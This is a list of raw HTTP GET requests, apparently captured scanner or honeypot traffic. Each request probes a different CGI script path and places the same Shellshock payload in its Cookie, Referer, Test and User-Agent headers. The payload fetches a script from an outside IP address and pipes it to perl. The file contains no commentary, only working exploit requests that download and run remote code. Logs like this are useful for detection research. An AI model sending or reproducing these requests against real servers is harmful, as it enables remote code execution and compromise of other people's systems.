 u'GET /shop/member_html.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /SetSecurity.shmHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /servers/link.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /ROADS/cgi-bin/search.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /quikstore.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /photodata/manage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /photo/manage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /page.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /ncbook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /left.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /info.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /hitmatic/analyse.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /enter_bug.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /dcadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/webmail/html/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/w3mman2html.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/urlcount.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/talkback.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/store/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/store.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/spin_client.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/sojourn.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/snorkerz.batHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/simplestguest.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/scoadminreg.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/responder.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/quizme.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/printenvHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/nph-test.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/nph-exploitscanget.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/netauth.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/mt/mt-load.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/mt-static/mt-load.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/mini_logger.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/main_menu.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/mail/nph-mr.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/lwgate.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/login.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/log-reader.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/hitview.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/guestbook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/gm-authors.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/gbadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/FormMail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/FormHandler.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/fom.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/flexform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/FileSeek2.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/faqmanager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ezshopper3/loadpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ezadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/enter.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/download.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/dbman/db.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/db_manager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cvsqueryform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cvsblame.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/csSearch.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/csPassword.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/csNews.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/CSMailto/CSMailto.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/csGuestBook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/Count.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/classifieds/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/classifieds.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
